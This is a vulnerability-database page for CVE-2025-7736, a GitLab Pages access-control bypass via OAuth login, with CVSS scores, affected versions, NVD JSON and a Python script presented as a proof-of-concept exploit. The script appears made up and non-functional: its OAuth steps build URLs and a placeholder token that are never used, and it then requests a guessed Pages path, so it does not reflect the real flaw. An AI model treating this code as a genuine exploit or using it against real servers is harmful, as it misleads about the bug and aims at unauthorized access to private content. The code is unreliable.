Security Vulnerability Report
中文
CVE-2025-7736 CVSS 3.1 LOW

CVE-2025-7736

Published: 2025-11-15 08:15:48
Last Modified: 2025-11-19 19:46:03

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.9 before 18.3.6, 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated attacker to bypass access control restrictions and view GitLab Pages content intended only for project members by authenticating through OAuth providers.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 17.9 <= version < 18.3.6
GitLab CE/EE 18.4 <= version < 18.4.4
GitLab CE/EE 18.5 <= version < 18.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-7736 PoC - GitLab OAuth Access Control Bypass # This PoC demonstrates the access control bypass in GitLab Pages import requests import json from urllib.parse import urljoin class GitLabOAuthBypass: def __init__(self, gitlab_url): self.gitlab_url = gitlab_url.rstrip('/') self.session = requests.Session() def oauth_login(self, oauth_provider='github', oauth_token='dummy_token'): """Simulate OAuth login to establish authenticated session""" # Step 1: Initiate OAuth flow oauth_init_url = f"{self.gitlab_url}/oauth/authorize?client_id=example&redirect_uri=callback&response_type=code&scope=api" # Step 2: Simulate token exchange token_url = f"{self.gitlab_url}/oauth/token" token_data = { 'grant_type': 'authorization_code', 'code': 'example_code', 'redirect_uri': 'callback' } # Step 3: Use access token for API requests self.session.headers.update({ 'Authorization': f'Bearer {oauth_token}', 'User-Agent': 'GitLab-OAuth-Client' }) return True def access_private_pages(self, target_project_id, target_pages_path): """Attempt to access private GitLab Pages without proper authorization""" # Direct access to GitLab Pages content pages_url = f"{self.gitlab_url}/groups/{target_project_id}/-/pages/{target_pages_path}" response = self.session.get(pages_url) return { 'status_code': response.status_code, 'content_length': len(response.content), 'accessible': response.status_code == 200 } def exploit(self, target_project_id, pages_path='index.html'): """Execute the access control bypass exploit""" # Establish OAuth session self.oauth_login() # Attempt to access restricted Pages content result = self.access_private_pages(target_project_id, pages_path) print(f"[!] Target: {target_project_id}") print(f"[*] Pages Path: {pages_path}") print(f"[*] Status: {result['status_code']}") print(f"[*] Content Accessible: {result['accessible']}") return result if __name__ == '__main__': target = 'https://gitlab.example.com' exploit = GitLabOAuthBypass(target) # Target vulnerable project project_id = 'target_project' pages_path = 'private-docs/index.html' exploit.exploit(project_id, pages_path) # Remediation: # Upgrade to GitLab 18.5.2, 18.4.4, or 18.3.6 or later

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7736", "sourceIdentifier": "[email protected]", "published": "2025-11-15T08:15:48.077", "lastModified": "2025-11-19T19:46:03.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.9 before 18.3.6, 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated attacker to bypass access control restrictions and view GitLab Pages content intended only for project members by authenticating through OAuth providers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.9.0", "versionEndExcluding": "18.3.6", "matchCriteriaId": "C9A06CF5-C97F-4DB8-BCE3-2F695904B363"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.9.0", "versionEndExcluding": "18.3.6", "matchCriteriaId": "F7F1402F-B9C8-4697-932D-AC37CE78F39B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.4", "matchCriteriaId": "36824F52-C9A0-4FB3-91F3-05593E3551E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.4", "matchCriteriaId": "6D0A238D-1278-4D05-86F5-4C323E0CFE36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.2", "matchCriteriaId": "7E85D20B-EEE1-4CC9-B50A-4040972287D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.2", "matchCriteriaId": "B2A3A57F-C750-4C92-8C2B-C5FCF1D70F4F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/11/12/patch-release-gitlab-18-5-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/556098", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3250156", "source": "[email protected]", "tags": ["Permissions Required"]}]}}